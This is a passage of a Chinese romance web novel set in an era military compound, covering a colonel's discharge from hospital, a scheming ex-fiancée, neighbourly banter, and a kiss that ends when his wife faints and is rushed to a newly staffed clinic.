沈淮川的早上刚抽了血,下午检查结果出来,才能办手续出院,估计要等到四、五点了。 中午吃完饭,秦磊来找团长,问下午能不能请两个小时的假。 沈淮川在看报纸,头也没抬,只随口问道,“理由。” 秦磊愣了一下,握拳支支吾吾道。 “这不是要回军区了吗,我想着给去副食商店给战友们买点瓜子、花生、糖块什么的,除了我,大家平时都没外出的机会,就等着我给改善改善呢。” 沈淮川没吭声,只把报纸翻了个面,翻页间隙随意瞥了秦磊一眼。 他看似随意,眼神却跟冰刀似的锋利,刹那间,秦磊就感觉自己被戳了个透心凉,额头瞬间冒出汗,心也提到了嗓子眼儿,赶忙战战兢兢补充。 “顺便...顺便办点私事。” “去吧,下午五点前回来。” 沈淮川接着看报纸,随口说了句。 秦磊伸出袖子擦了擦汗,就听团长接着说。 “副食商店你就甭去了。” 小伙子刚放回肚子里的心又猛地揪起来,以为团长识破了自己的小秘密,心虚得手都哆嗦,却听下一秒团长又说。 “我和你嫂子下午要出去买东西,开着车呢,正好帮你买了。” 秦磊还以为什么事儿呢,这下终于松了一口气,拍着胸口道。 “团长,您说话别大喘气行不行,吓死我了。” 说着便是起了身,“那我先去换衣服了。” 沈淮川又道,“去吧,柜子里有我备用的手表,送你了,拿去戴着吧。” 秦磊心又蹦得老高,吞了吞口水直咂舌。 “团长,你那块表可是上海牌的,要120块呢,就送...送我了?” 他不贪心,摆了摆手说。 “不用,我自己有表呢。” 沈淮川头都没抬,“你戴那表怎么撑场面?” 他当兵还不到两年,一个月津贴也就七块钱,一大半都寄回家了,手里没剩多少,戴的手表是从战友那儿淘的二手的,只花了两块钱,也就凑合能看时间而已。 但秦磊关注的重点却不在这个上面。 “团长,你知道了?你咋能知道?你啥时候知道的啊?” 沈淮川眼皮都没抬,还在专心地看着报纸的经济版。 这时周柒柒回来了,看着两人状态奇怪,一边给沈淮川手边递了一枚洗好的葡萄,一边好奇问道。 “撑啥场面啊?” “没什么。” 沈淮川立马把报纸拿下来了,葡萄就在手边,却也不伸手接,而是费了老半天劲儿用过嘴咬住了。 刚咬住就看见秦磊还直勾勾往这儿瞅,瞪了他一眼:“还不快去!” “哦!” 秦磊瞧这架势知道自己待不住,赶紧拿了手表和衣服溜了。 周柒柒满脸狐疑地瞅着他背影:“小伙子咋神神秘秘的?” 沈淮川拍了拍床侧的位置。 “他有事儿出去一会儿,对了,你刚才吃饭的时候说什么,要在家里后院挖个地窖?” 周柒柒没敢坐在床边,而是搬了个凳子过来。 “嗯,昨天翠香姐特意叮嘱我的,回头再多买点白菜、土豆之类的。” 沈淮川点了点头。 “行,我一会儿电话联系人,明天就弄,挖大点,另外再存点苹果、梨什么的。” 他想的都是平时周柒柒爱吃的,周柒柒却是想着孩子。 “行!既然都要挖大了,那咱们再存点栗子、山楂什么的,回头给舟舟和向阳弄小零嘴。” 说着她又拿了纸笔,分门别类写了满满一大串。 有些是在镇上小市集买不到的,两人就商量着趁下午没事先去百货大楼和副食店先买了。 沈淮川带着胸带不方便,又找了个军区医院的司机来开车。 周柒柒在后座给沈淮川背后垫软垫,冷不丁没留意,车就往前门开了。 眼瞅着快到大门口,她赶忙喊:“别别别,从后门走。” “好的,夫人。” 司机毫不犹豫地就掉头了,别的啥也没说,倒是沈淮川开口问了问。 “怎么了吗?” 周柒柒低头皱着眉回着。 “我这不是怕门口有人给你送鸡汤嘛?麻烦!” 沈淮川鼻子嗅了嗅,莫名闻到一股酸味,不过倒也没说什么,也默契地侧过脸。 周柒柒的担心可不是多余的。 G市军区医院大门口,俩人影伸长脖子往里瞅。 “哎哎哎,瑶瑶,你看!那边车上坐的,是不是周柒柒和沈淮川?好像朝咱门口开过来了!” 前头穿白衬衫的许树说着,兴奋地晃林瑶的胳膊。 林瑶眯着眼仔细瞧,可下午两点多,太阳正晃眼,又隔着层车玻璃,实在看不清。 “像又不像的,等开过来就知道了。” 说着她攥紧拳头,推了推许树,“要是他俩,一定得拦住!” 许树也狠狠点头。 两人正眼巴巴盼着,却见眼瞅着要开过来的吉普车,突然毫无预兆地掉了头。 第112章 我等不及了~ “哎,别走啊!” 两人急得直跺脚,下意识就想冲过去拦车。 军区医院门口站岗的哨兵眼尖得很,瞥见他俩抬脚就往前跨,手掌“啪”地按上了枪托。 两人哪儿敢硬闯,慌忙往后退了好几步。 林瑶着急地跺了跺脚。 “周柒柒这个小贱人故意的,嫉妒我把你抢走了,铁了心的不想让我见沈淮川!” “哎,柒柒估计是还在生我的气呢!太伤心了,一时半会想不开。” 许树叹了口气,他也是同样的想法,感觉都是自己的错,赶紧帮着想主意。 “他们会不会已经出院回军区了?要不咱去他家里碰碰运气?” 林瑶摇头,“他们军区基地在城郊,进出严得很,好几道岗呢,我就去过一回,还是沈淮川带着进去的。就算进去了,满院子都是当兵的,咱能有啥办法?” 许树又问道。 “要不联系沈淮川爸妈?你之前不说他爸妈对你挺好的吗?” 林瑶又摇头,“上次办完去军区医院实习的事儿之后,就没联系了,他爸妈一直身体不好,可能是又去那儿疗养了,压根联系不上。” 她感觉烦闷得很,狠狠踩了一脚许树的脚,剐了他一眼。 “这些我早想过了,都没用!你能不能动点脑子想点新招?” “嘶...” 这一脚踩得实实在在,许树疼得龇牙,可熟悉了这位大小姐的脾气,却不敢发作,陪着笑讨好。 “我哪儿有你聪明啊,要不……你找你爸妈说说?” 林瑶头摇得跟拨浪鼓似的。 “不行!他们要知道我跟沈淮川吹了,转头跟别人领证,非打断我的腿不可!” 说起这茬儿,林瑶就心虚。 当年林家跟沈家定娃娃亲,全因沈淮川父母救过她妈一命。 这娃娃亲有点报恩的意思,林瑶爸妈也对沈淮川满意得不行,三天两头催婚。 要是知道她耍心眼退了亲,非被骂得狗血淋头不可。 这也不行,那也不行,许树实在是没招了,有些不耐烦地问道,“那咋办?” 林瑶咬咬牙。 “眼下就只能再给我哥打个电话了,让他帮着再想想办法,实在不行,就只能等着学校的分配通知了,不过没有单位推荐啥的,一般就只能分到偏远的卫生所,或者是防疫站啥的。” 说到这儿,她满脸嫌弃,那些又偏又穷的地方,哪儿是人待的? 她不乐意,许树却觉得再怎么说都是铁饭碗,而且之前他打听过了,就算是卫生所,一个月工资也有四、五十块呢,可不老少了! 他之前在工地上当杂工,一个月赚的最多也就十几块,有时候偷点懒,十块钱都赚不到。 不知道多羡慕呢! 看林瑶那么嫌弃,他那双雾蒙蒙的眸子转了转,义愤填膺道说道。 “瑶瑶,咱不求他们了!不受这个气!” 说着便是攥住林瑶瑶的双手,语气转柔。 “不管是卫生所,还是防疫站,你先把工作定下来在说,到时候把咱俩的事儿跟你爸妈说了,让他们给咱拿一笔钱,把生意做起来,我养着你,以后不愁没好日子过。” 他那双桃花眼雾蒙蒙的,透着十二分的深情,林瑶本来还烦躁不安的心一下子就被安抚了,其他的一切也都被抛出了脑海,看着他眼中的汪洋大海,点了点头。 “行,听你的,咱们现在就回去,我给我哥打电话去。” 许树抓着她的手紧了紧。 “哦,对了,别忘了再让咱哥汇点钱过来,这段时间咱们在这边天天住宾馆,太烧钱了。” “嗯,知道了。” 林瑶乖巧地点了点头,但随即却是有点担忧道。 “可是...咱们总是跟我哥要钱,是不是不太好?上次给了我们五十块钱,我嫂子都不高兴了。” 许树揽住她的腰,还趁机摸了一把她的屁股,凑在她耳边说道。 “有什么不好的?都是一家人嘛!你哥哥工作都稳定了,咱们这才起步,他帮衬一点也是应该的,等以后咱们发达了,肯定不忘了他现在的恩情,加倍回报回去就行了,到时候别说五十块了,咱们还他五千块都是少的!” 被他捏着屁股,林瑶“唰”的一下就脸红了,也顾不上后面他说的那些了,捂着脸往怀里躲。 “哎呀,许树哥,你干嘛?!让别人看见了多不好?” “这有什么不好的?别人看见只会羡慕你!她们那些女人想被捏还没人愿意捏她们呢!” 许树又捏了一把,猛地拽住林瑶的手往回走。 “走,咱们先回去~!我等不及了~” 他猴急得很,十五分钟后,两人已经出现在了宾馆的床上。 许树喘着粗气,指尖刚触到林瑶腰间的软肉,脑海里忽然闪过周柒柒的模样。 那天在医院,她穿着贴身的裙子,腰肢纤细得仿佛一掐就断。 再看看身下的林瑶,腰间堆着层赘肉,顿时兴致减了一半。 “怎么了?” 林瑶等了半天没动静,睁开眼疑惑地问。 许树盯着她的脸看了看,以前还觉得林瑶长得挺洋气的,但现在不知道怎么了,越看越觉得普通。 再想起周柒柒那双亮晶晶的杏眼,明艳娇嫩的五官,心里更是烦躁,剩下的半点火气也消了个干净。 “算了,大白天的,待会儿弄出声音了那群服务员又要嘀咕了,对你不好。” 他翻身坐起,三两下穿好了裤子,但又感觉有点心虚,赶紧拿起旁边的水果刀,拿起一个苹果。 “我给你削个苹果吧。” 林瑶本来想发脾气的,但一听许树的话,感觉也有点道理。 看他削苹果时专注的样子,心里又软下来。 到底是许树体贴,哪像沈淮川整天板着脸。 她张嘴咬住苹果,脆甜的汁水在嘴里散开。 这年代国内吃的还是传统的国光苹果,脆脆甜甜的,好吃得很,第二天一大早,周柒柒也在家里切了一盘子苹果,给客厅坐着的邓翠香和朱莹莹吃。 昨天下午她和沈淮川回来之后,就和两人说了今天要在家里挖地窖的事儿,两人都是过来帮忙收拾做饭的。 这会儿木梁和请的师傅都还没来,她就先切了点水果给两个人吃。 邓翠香不用招呼,自己就拿了插着苹果的牙签往嘴里送。 周柒柒拿了一块递到了朱莹莹面前,“莹莹,你尝尝...” 话没说完,就见朱莹莹脸色一白,猛地捂住嘴:“呕——” 第113章 葡萄架 “呕——” 朱莹莹扶着墙根儿弯下腰,喉间翻涌着酸水,脸色白得跟墙皮似的,看着十分难受。 周柒柒三步并作两步凑过去,伸手虚扶着她后腰,“咋啦这是?” 朱莹莹摆了摆手,刚要开口,喉咙里又“呕——”地响起来。 邓翠香赶紧伸手给她拍后背,手掌起落间忽然眼神一亮,凑近了些问道。 “大妹子,瞅你这劲儿,该不会是...有喜啦?” 周柒柒也跟着凑趣,眼睛亮晶晶的,“是啊,莹莹,你不会是...?” 两人都面露喜色,但被围在中间的朱莹莹却是苦笑着摆了摆手。 “哪儿能这么快啊?你们忘了,我月初才去医院查过,没怀上呢。” 周柒柒挠了挠头,“瞧我这记性,这几天太忙,把这事儿给忘干净了。” 邓翠香看着朱莹莹苦笑,也有点不好意思,用力拍了拍自己的脸颊。 “瞧我这张嘴,看你干呕,就下意识往那方面想了,大妹子,你别放在心上,别难受。” 她对下手是真不轻,这脸打得啪啪响,朱莹莹赶紧抓住她手腕。 “别别别,翠香姐,我真不难受,柒柒早劝过我了,现在我心态平顺着呢,慢慢来呗。” 周柒柒给她递了一杯温水,“既然没怀孕,那你怎么呕成这样?” 朱莹莹抿了几口水,嗓子哑哑的,解释道。 “医生开的治多囊的药,说是带点激素,刚开始吃一两周就容易恶心,头两天我喝口水都犯呕,今儿这反应算轻的了,再吃几天估摸就适应了。” 周柒柒轻轻拍她肩膀,“可真是遭罪,你辛苦了,莹莹。” 邓翠香则是更务实一点。 “回头我让你姜哥跟王团长说一声,让他好吃好喝地伺候着你!你这吃药恶心干呕还只是开始,以后怀孕了,还更难受呢,我记得我怀向海的时候,呕了整整三个月呢!吃啥吐啥,那叫一个难受!” 周柒柒一听就感觉浑身难受,都能想象到那种痛苦了,“啊?这么遭罪?怀孕都会那样吗?” “可不,基本都会孕吐的,一般怀孕六周左右就开始了,吐个一个多月都是稀松平常的事儿,身体不好的吐得更久一点,我怀向海那时候就是身子弱,后来老姜拉着我锻炼身体,又调养了一阵,再怀向海的时候,就吐得慢点了,只吐了一个月...” 邓翠香是过来人,说得唾沫星子直飞,可把朱莹莹和周柒柒这俩没生过娃的吓得够呛。 周柒柒心里直打鼓,琢磨着,这穿针引线的事儿,一定得往后拖拖,可不能再往沈淮川跟前凑了。 正胡思乱想呢,门口传来拖拉机“突突突”的响声。 “是淮川带着师傅回来了~!” 她脑子还没转呢,人已经三两步跑到大门口去迎接了。 一双杏眼在沈淮川带着胸带的上身来回打量,语气带着嗔怪。 “没事吧,说了我和石头去就行,你非要自己去接。” “没事。” 沈淮川言简意赅,秦磊则是从开心地从车斗上跳下来,咧着嘴帮忙解释。 “嫂子你不用担心,有我跟着呢,这要的水泥、青砖啥的,只有团长知道具体情况,他点起来方便。” 今儿个这辆拖拉机车斗子忒高,周柒柒冷不丁瞅见秦磊“咕咚”一声往下跳,心都提到嗓子眼儿了,忙不迭喊。 “你慢着点,怎么回事?昨天下午开始,就跟打了鸡血似的,毛毛躁躁的,话还多得不得了。” “嘿嘿~” 秦磊挠着后脑勺直傻笑。 正这时邓翠香和朱莹莹迎出来,先盯着车斗里的东西直打量。 “水泥?青砖?拉这些干啥?挖地窖还用得着这玩意儿?” 上次帮着盖厕所的师傅从车里下来,拍着裤腿说,“这些是搭葡萄架和凉亭的料。” “啊?我什么时候说要搭凉亭了?” 周柒柒瞪大了眼睛,秦石头又凑了脑袋出来解释。 “那天在病房,嫂子不是拿了酸葡萄过来吗,还说邓嫂子家的葡萄架好看,绿莹莹的,还说在葡萄藤底下吃饭可惬意了,这不,当天团长就联系师傅了,让他帮忙准备着,正好今儿和地窖一起动工。” “啧啧啧,没想到沈团长这么会疼人儿呢?!柒柒随口说一句,就记在心上了?” 刚解释完,邓翠香就不干了,捂着胸口装怪。 “那天的葡萄真是便宜你这小妮子了,还不如让我自个儿吃了呢,这给我心口酸的~!哎呦喂~不行,你扶着我点~” “翠香姐你别闹!” 周柒柒脸“腾”地红到耳根,忙去搀她胳膊。 邓翠香把她往沈淮川那边撞了一下,眼瞅着小两口肩膀碰肩膀又跟烫着似的弹开,跟触电一样,和朱莹莹对视一眼,都笑得贼带劲。 “这新婚小两口就是不一样!” 邓翠香看她脸红,也没在继续逗她了,收了笑,挥挥手。 “行了行了,咱们先帮着师傅卸东西吧。” 这回是小活儿,就来了一个师傅两个小工,不过乱七八糟的料倒是不少,大家伙一齐帮着搬东西。 沈淮川刚要搭手,周柒柒伸手就按住他胳膊。 “你歇着,忘了丁医生怎么说了的?你什么体力活儿都不能干!” 搬完东西,沈淮川带着师傅去量尺寸什么的,女人们则是聚在灶房,准备做中午饭。 今天中午周柒柒准备做一道糖醋里脊,烧糖醋汁儿的时候,她突发奇想,把剩下的小半瓶葡萄果酱给倒上了,顺便问了问正在帮手的两人。 “对了,送到你家那瓶果酱吃完了没?里面没放防腐剂,放不了几天的,抓紧时间吃。” “嗯,知道了。” 正帮着烧火的莹莹点了点头。 邓翠香手起刀落切着土豆丝,头也不抬。 “早造完了!向阳那小子爱吃得紧,除了拌麦乳精,还抹在钙奶饼干里,自个儿鼓捣果酱饼干,压根没撑到第二天。” 周柒柒眼前立马浮现出姜向阳舔着果酱满屋子跑的模样,笑着说。 “那向阳还挺聪明的!” 邓翠香手上不停,一边飞快地切着土豆丝,一边随口附和道。 “可不,就那么点聪明劲儿,全用在吃和玩儿上面了,将来估计没啥大出息,和向海简直没法儿比,将来可指望不上他...” 邓翠香话没说完,周柒柒递过个装满水的搪瓷盆,打断她。 “别这么说,向阳也挺好的,你总这么说,容易打消孩子积极性,再说了,要是俩孩子都是向海那个样儿,你受得了不?” 邓翠香手里的刀顿了顿,咧嘴一笑。 “这倒也是,要都跟向海一样,整天闷在屋子里,不在外头皮,不鸡飞狗跳的,日子也没这么有劲儿了!” 这么说着,又觉得向阳这小子不错,自己也有点不好意思。 “嗨,我也就跟你俩念叨念叨...” 周柒柒也不再继续挑她的理儿,而是问道。 “对了,姐,向海那个少年宫的事儿咋样了?” 第114章 准备了惊喜 “成了!” 说起姜向海,邓翠香嘴角咧得能挂住油瓶儿,腰板儿都挺得倍儿直。 这事儿上周日周柒柒就问过。 当时邓翠香领着姜向海去少年宫,数学老师正忙着给学生们上课,没空细管这刚来的孩子,随手递过去一套上个月首都数学竞赛初一组的卷子,让姜向海在办公室里做。 昨完就让邓翠香领着孩子先回去,说是回头有空再看。 邓翠香都以为没戏了,没想到当天晚上十一点多,电话居然“叮铃铃”地打过来了。 “老师说,向海前头的题目全对,最后一道附加题还给出了三种解法!这孩子有天赋!” 这一套初一的题目,老师也给初一的那些学生做了,多数人都只能勉强混个及格,最后一道附加题更是理解都理解不了。 可姜向海不仅全做对了,连附加题都摸出门道了! 要知道,姜向海现在也就小学四年级而已,上的还算是城郊的小学。 这天赋已经不言而喻了。 老师震惊得不行,第二天直接蹬着二八杠自行车追到家里,拍着胸脯说要收向海当徒弟,还说年底带他去参赛。 说到这里,邓翠香眼角都有泪了,拍了拍周柒柒的肩膀。 “还得多亏你了,要不然可能孩子真耽误到我手上了。” 周柒柒“腾”的一下就站起来了,眉飞色舞地说着。 “可不是吗?到时候向海要是得奖了,得推我上去领奖,就说我是孩子家长,莹莹,你说行不行?” 莹莹看着她挤眉弄眼的样子,瞬间懂了,点了点头,一本正经地提议道。 “我看行!到时候再给向海改个姓,叫周向海,听着就板正!” 两人对视点头,异口同声道,“就这么定了!” “臭妮儿~咋这么皮呢你们!没个正形~!” 邓翠香知道这俩人是调侃她呢,一时有点脸红。 “还有你莹莹,居然也跟着她笑话你翠香姐我~!” “谁让翠香姐你平时总是取笑我们两个的?也该轮到你了!看水~” 周柒柒说着,从盆里蘸水弹向邓翠香。 邓翠香立马就反应过来,也开始反击。 但却不是先弹周柒柒,而是直接攻击没反应过来的朱莹莹。 “翠香姐,你欺负人~!” 朱莹莹被弹得满脸水,刚要还手,邓翠香已笑着往外跑。 三个女人在前院追得团团转,笑声一浪高过一浪。 “咚咚咚!” 正当这个时候,门口有人敲门。 周柒柒在围裙上擦了擦手把门开了,瞧见正是军区电话室的接线员小刘,一边解围裙递给朱莹莹,一边说。 “是不是有电话找我?我这就过去。” 估摸着是张副厂长打过电话来了。 小刘赶紧摆了摆手,“不是不是,这次还真不是,是找沈团长的。” 周柒柒愣了一下,“找沈淮川?” 小刘点头。 “是,说是省军区医院的翟院长,手术间隙打过来的,让沈团长尽快接电话。” “行,我这就帮着叫去。” 车还停在门口呢,秦磊轰着油门载着沈淮川去了。 不到五分钟,人就回来了。 周柒柒赶紧迎了上去。 “咋了?手术间隙打电话,是不是有急事儿?” 沈淮川看她担心,赶紧摇头。 “不是,翟院长平常很忙的,才刚从首都会诊回来,还有几台手术要做,要了我的片子,打过来问问我的恢复情况。” 周柒柒有些狐疑地看向沈淮川。 “这种事儿问丁医生不是更方便吗?别是你的片子有什么异常,瞒着我了吧?” 在她这儿,沈淮川的信用已经“破产”了,信不了一点儿。 沈淮川嘴角扯出一丝无奈的笑。 “真没有,翟院长本来是没打算打电话的,但是说是特意给我准备了惊喜。” “啥惊喜?” 沈淮川摇了摇头,“他没说,说是过两天就知道了。” 见周柒柒一双杏眼滴溜溜的转,他又补充道。 “可能是给我寄了什么特效药吧,之前翟院长给爸妈就送了不少药来着。” 他话是这么说,可周柒柒却是不怎么信。 “那咱们回屋里,你把你的伤口再给我看看。” 沈淮川想起柒柒第一次看见他胸前伤口时掉眼泪的样子,心口猛地一揪,皱着眉轻声哄。 “别了吧,丁医生不都说了吗,没事。” “也是,行吧。” 周柒柒点了点头,一副相信了他的样子。 但是第二天晚上八点多,等沈淮川去洗澡间擦身子的时候,却是在没完工的凉亭那儿拿了好几块青砖垫在脚下,趴在洗澡间窗户边上偷摸瞧。 沈淮川说话的说话那么心虚,支支吾吾的样子,她才不信呢! 得自己亲眼看了才放心! 小窗口有点高,就算是垫了几块青砖,周柒柒也只能勉强瞄到一点点。 洗澡间里有周柒柒给准备好的温水还有小凳子,换洗衣物什么的。 沈淮川侧身对着小窗口,刚才他把上衣和胸部固定带都脱在外间了,里面就剩下了一件工字背心。 只要往上一掀,胸口的伤就一目了然。 周柒柒踮起脚尖,刚要仔细瞧瞧,就见沈淮川的手伸到胸前,却忽然停住了,慢悠悠走到淋浴头前拧开开关。 水箱里是秦磊刚烧的热水,这一打开,洗澡间里瞬间腾起一层薄雾,橙黄色的灯光裹着水汽,隔着玻璃根本看不清。 周柒柒急得扒着窗沿,使劲儿把窗户往左推开一条缝,总算能看清楚些,却没瞅见沈淮川的人影。 她往边上挪了挪,眯着眼往里头瞧,没注意脚尖已经踩到砖头边缘。 这一挪,脚下突然一空,整个人猛地往后倒去—— 忽然的失重感让她心里一慌,估计自己这回真得狠狠摔一个屁股镦了。 却没想到,下一秒,一个坚实的臂弯将她揽在了怀里。 周柒柒一回头,看到沈淮川那张冷峻硬朗的脸,刚想问,“你怎么会...” 可马上又想到他的伤,立马站到另外一边去看他胸口。 沈淮川赶忙摇头,“没事儿,伤的是左边。” 他揽着周柒柒的,是右边的臂弯。 周柒柒这才放下心来,有些心虚地问道。 “那个,你怎么会出现在这儿...?” 沈淮川挑眉,“不是应该我问你吗?” “我...我先问的!” 周柒柒被抓了个现行,支支吾吾的不知道要怎么说,眸子一转,索性耍起了赖,眨着眼睛,娇媚又无辜。 她这副理直气壮的样子实在可爱。 沈淮川臂弯收力,将她红彤彤的小耳朵送到了自己唇边,哑着嗓子低声道。 “知道你想看,那咱们就进去好好看~嗯?怎么样?” 第115章 不能穿针引线 “知道你想看,那咱们就进去好好看~嗯?怎么样?” 两人之间的距离很近,周柒柒的耳垂被沈淮川灼热的呼吸烫得酥酥麻麻,感觉浑身都有些发软,大脑一片空白,只能倚靠在沈淮川的胸膛,拼命摇头。 “我哪有...哪有想看?我没有...” 她死死咬着唇,声音又娇又颤,尾音还带点糯糯的娇憨。 沈淮川低笑一声,喉结滚动着又凑近半寸,嘴唇几乎擦过她泛红的耳垂。 “是不想看,还是不敢看?” 周柒柒心跳如擂鼓,喉咙发紧,偏要硬撑面子,“谁说我不敢!看就看!” 她攥住沈淮川的胳膊就往洗澡间拽,脚步带点赌气地急慌。 沈淮川被她拖着一路回到了洗澡间,乖乖地在小板凳上坐下。 不等周柒柒反应过来,他就把刚才一直都要脱不脱的背心干脆利落地脱了,露出结实强劲的上半身。 暖黄色的灯光下,他的肌肤隐隐泛着茶色的光泽,身形也完全被勾勒了出来。 手臂健硕,胸膛厚实,腰腹精瘦,八块腹肌排列得整整齐齐,再往下,隐约可见蜿蜒向下的人鱼线。 和他腰侧一道蛰伏着的狰狞旧伤疤一起,随着男人的呼吸一起一伏。 这和周柒柒第一次见到沈淮川时看到的一模一样,她不由自主地就咽了咽口水。 但不同的是,这一次的沈淮川,胸膛有好多擦伤,虽然算不上严重,这会儿已经全都结痂了。 周柒柒凑近了在他面前看,只见新添的擦伤结着暗红血痂,密密麻麻爬满胸膛。 比他刚去医院的时候,看起来还要更严重,一看就很疼。 也足能想见,当时的情况有多危险。 周柒柒刚才心头飘荡的那点旖旎全都没了,只感觉自己的心好像被针扎了一下,钻心地疼,杏眼通红,眼泪大颗大颗往下掉。 沈淮川之前不愿意让她看,上药都是刻意避着她不在的时候,就是因为这个原因。 这女人平时明明天不怕、地不怕的样子,但碰到这种情况,却是不由分说地就哭。 沈淮川赶忙伸手拉了一把,将她整个人拉坐在自己怀里,伸手帮她擦了擦眼泪。 周柒柒心里别扭,别过脸去不许她擦,只伸手去抚那些暗红色的血痂,轻声问道。 “是不是很疼?” 她一边说着,眼泪一边大滴大滴地掉落,像是珠子一样,一双杏眼里揉满了伤心。 看得沈淮川的心猛地一揪,按住她的手,哑着嗓子轻声哄道,“不疼,乖,不许哭了。” “我才不信,你这个大骗子~!” 周柒柒甩开他的手,哭得泣不成声。 她脑子里现在已经自动脑补起他在悬崖峭壁上,拉住战友不松开,硬生生往大石头上撞,尖锐的石头棱子刮破胸口,直戳着肉。 刮成一片血淋淋的,这能不疼吗? 这眼泪的杀伤力,可比什么擦伤,骨折,甚至比他之前受过的所有伤都要强,他只觉得心痛得厉害,疯狂叫嚣着要为她止去眼泪。 他想也没想,跟随着身体的本能,双臂温柔地圈住她那双不安分的,轻轻吻上她眼下的眼泪。 温柔之中,还带着几分浓浓的怜惜。 在沈淮川冰冷的唇边吻上她的眼泪时,周柒柒就感觉浑身战栗,大脑一片空白。 任凭沈淮川一路顺着她的泪痕,从眼下吻到了唇边。 他的双唇距离周柒柒的唇只有不到一厘米的距离,但是他却是缓缓停下。 一双缀满星辰的眸子温柔地看向周柒柒,像是在征求她的同意。 周柒柒看着他眼中自己的倒影,大脑还没来得及思考,身体已经本能地做出反应。 微微抬头,娇嫩温热的粉唇轻轻覆上他冰冷的双唇。 沈淮川的反应很快,就在周柒柒抬头的一瞬间,大手已经强硬地将扣在她脑后,不许她再逃离。 这已经是两人第三次接吻了,没有了前两次那么青涩。 起初还是轻柔地摸索,轻巧温柔,但很快,就剧烈了起来,沈淮川撬开了周柒柒的唇舌,唇齿相依,纠缠不休。 周柒柒被吻得心乱如麻,呼吸灼热。 沈淮川亦是如此,他一向沉稳自持,这会儿却觉得自己随时有可能失控,喉结在阴影里重重滑动,大手贴在她的后背,沿着肌肤一点点往上滑。 而他的吻,也越来越炽热,不再拘泥于娇唇,而是游离到她的下巴,她的脖颈,她的锁骨。 而他的一双大手,也已经游离到了她的后背,然后撑起了衣裳往上拽... 却没想,撩衣服的动作,让周柒柒灼热的肌肤暴露在微凉的空气中,搅扰了她脑中剩下的那一丝清明。 她终于反应过来发生了什么,赶忙伸手制止沈淮川,“不行,不可以...” 沈淮川眼眶通红,本有些失控,再听她撒娇一般的制止,更是觉得浑身的气血都在往上涌,额头上冒了一层密密麻麻的汗。 就在这样的情况下,他却是硬生生的停住了,直接收回了手,只稳稳地圈她在自己的双腿上。 周柒柒心还跳得扑通扑通的,推了推他,声音带点气音的娇软。 “那个,丁医生说,没好利索之前,不能做穿针引线的事儿,我们必须...必须遵医嘱。” 沈淮川把自己这辈子的自制力全都用在这儿了,冷不丁听到周柒柒这么说。 全身的气血又重新涌了回来,挑眉,哑着嗓子重复,颇有几分咬牙切齿的味道。 “你是说,穿、针、引、线?” 他忽然抓住她的手往自己腰上带,周柒柒像被烫着似的猛地缩手,往后一躲,后腰被他牢牢托住。 沈淮川伸手扶住她的后腰,不许她往后退,额头抵住她的额头,语气不容拒绝。 “只要不穿针引线,就算是遵医嘱。” 说着,微冷的唇已经覆了上来,温柔地绕住她的舌尖。 周柒柒呼吸慢了半拍,但却本能地不想拒绝,眼看着这个唇愈来愈深,逐渐不可控,她轻颤着,睫毛已经覆上了一层湿意。 这个吻太激烈,她甚至都忘了呼吸,感觉大脑有些缺氧。 然而,就在此时,腹部却传来一阵猛烈的坠痛,她浑身冒了一层虚汗,紧接着便是两眼发黑,直接晕倒在了沈淮川怀里! 第116章 新来的医生 “柒柒!” 沈淮川上一秒还沉溺在唇齿相触的亲昵里,下一秒就察觉怀里的女人身子一软,瘫在了他臂弯里。 她双眼紧闭,怎么喊都没动静,额头上布满细密的冷汗,脸色白得跟墙皮似的。 沈淮川慌了神,抓过床边的背心胡乱套上,跟在屋里画画的舟舟匆匆交代两句,打横抱起周柒柒就往吉普车上冲,准备赶紧送去市区的军区医院。 这会儿八点多,秦磊已经走了,只能他自己开车。 他想把周柒柒放在后座,可瞧着她眉头紧皱,整个人蔫巴巴的,完全没有要醒的意思,就怕开车时她摔下来。 正想着找住在朱莹莹和王团长帮忙,就听见一声大嗓门儿咋呼起来。 “沈团长,这是咋了?出啥事了?” 来人是邱春芳的丈夫赵毅,他松开牵着儿子赵耀祖的手,三步并作两步跑了过来。 “我媳妇晕倒了,得赶紧送军区医院!” 沈淮川急得声音都变了调。 赵毅扫了眼周柒柒的脸色,忙不迭摆手。 “别去军区医院了!那儿离得远,开车得半小时,我媳妇刚说,后勤正往军属区卫生所搬东西呢,说是新分来个医生!咱去那儿,两分钟就能到!” 说着,他伸手把车钥匙抢了过来,“我来开!你照顾人!” 转头又推了推儿子,“耀祖,你自个儿先回家去!” 赵耀祖死死拽着他衣角不撒手,“不行!你说好陪我玩弹珠的!都没人陪我玩!” “一边儿去!没看正忙着呢!” 赵毅这会儿急得火烧眉毛,哪有空哄孩子,头也不回地就往车上跑。 赵耀祖“扑通”一屁股坐在地上,扯开嗓子就嚎:“哇——” 屋里,邱春芳正搓着衣裳,听见儿子哭声,肥皂掉在地上都顾不上拿,甩着手上的水就冲了出来。 等她跑到门口,只看见车屁股后面扬起的一溜尘土。 她赶忙把赵耀祖拽起来,连声问,“咋回事?你爸干啥去了?” 赵耀祖哭得上气不接下气,抽抽搭搭地喊,“呜……跟车里的小狐狸精跑了!” “啥?!” 邱春芳一听就知道,儿子说的“小狐狸精”指的是周柒柒,拽着赵耀祖的胳膊就追了上去。 这边,赵毅一脚油门把车停在了军属区东南角的小平房外。 这排平房就是给家属们看病的小卫生所。 以前,这儿有曲军医、地方分来的老医生,还有个宋护士值班。 可俩月前,曲军医休产假,宋护士结婚,老医生又摔断腿退休了,卫生所就一直空着。 这会儿,果然像邱春芳打听到的那样,两个后勤小兵正抱着医药箱,进进出出地忙着收拾屋子。 车还没停稳,最里头那间屋就传来个尖厉的女声。 “这水里漂的是不是老鼠屎啊?!我的天,就这地儿也能住人?又小又破的,跟农村有啥两样,还说是军区呢!难怪没人愿意来!” “还有这暖水瓶都破成这样了,能给人用吗?赶紧给我换个新的来!” ... “啪!” 暖水瓶摔在地上,玻璃碴子崩得满地都是,不少溅到了院子里。 赵毅把车停稳,探出头往外头瞧了瞧。 “沈团长,地上有碎玻璃碴,我先下去喊人,您抱着嫂子小心点,看着路慢慢下车。” 沈淮川正给周柒柒擦额头上的汗,“麻烦你了,赵营长。” 赵毅摆摆手,笑得憨厚。 “嗨,都是自己人,你之前帮了我那么多,我这点事儿算啥,再说了,邻里邻居的,本就该处好关系。” 说完就跳下了车,扯着嗓子冲里头喊。 “医生,医生在吗?!有人晕倒了!快出来看看!” 里头隐隐传来嘟囔声。 “事儿怎么那么多!不去!我这儿还没正式报道呢!没义务给人看病!” 赵毅耳朵尖着呢,听到这个马上就冒火了,叉着腰冲着里头高喊。 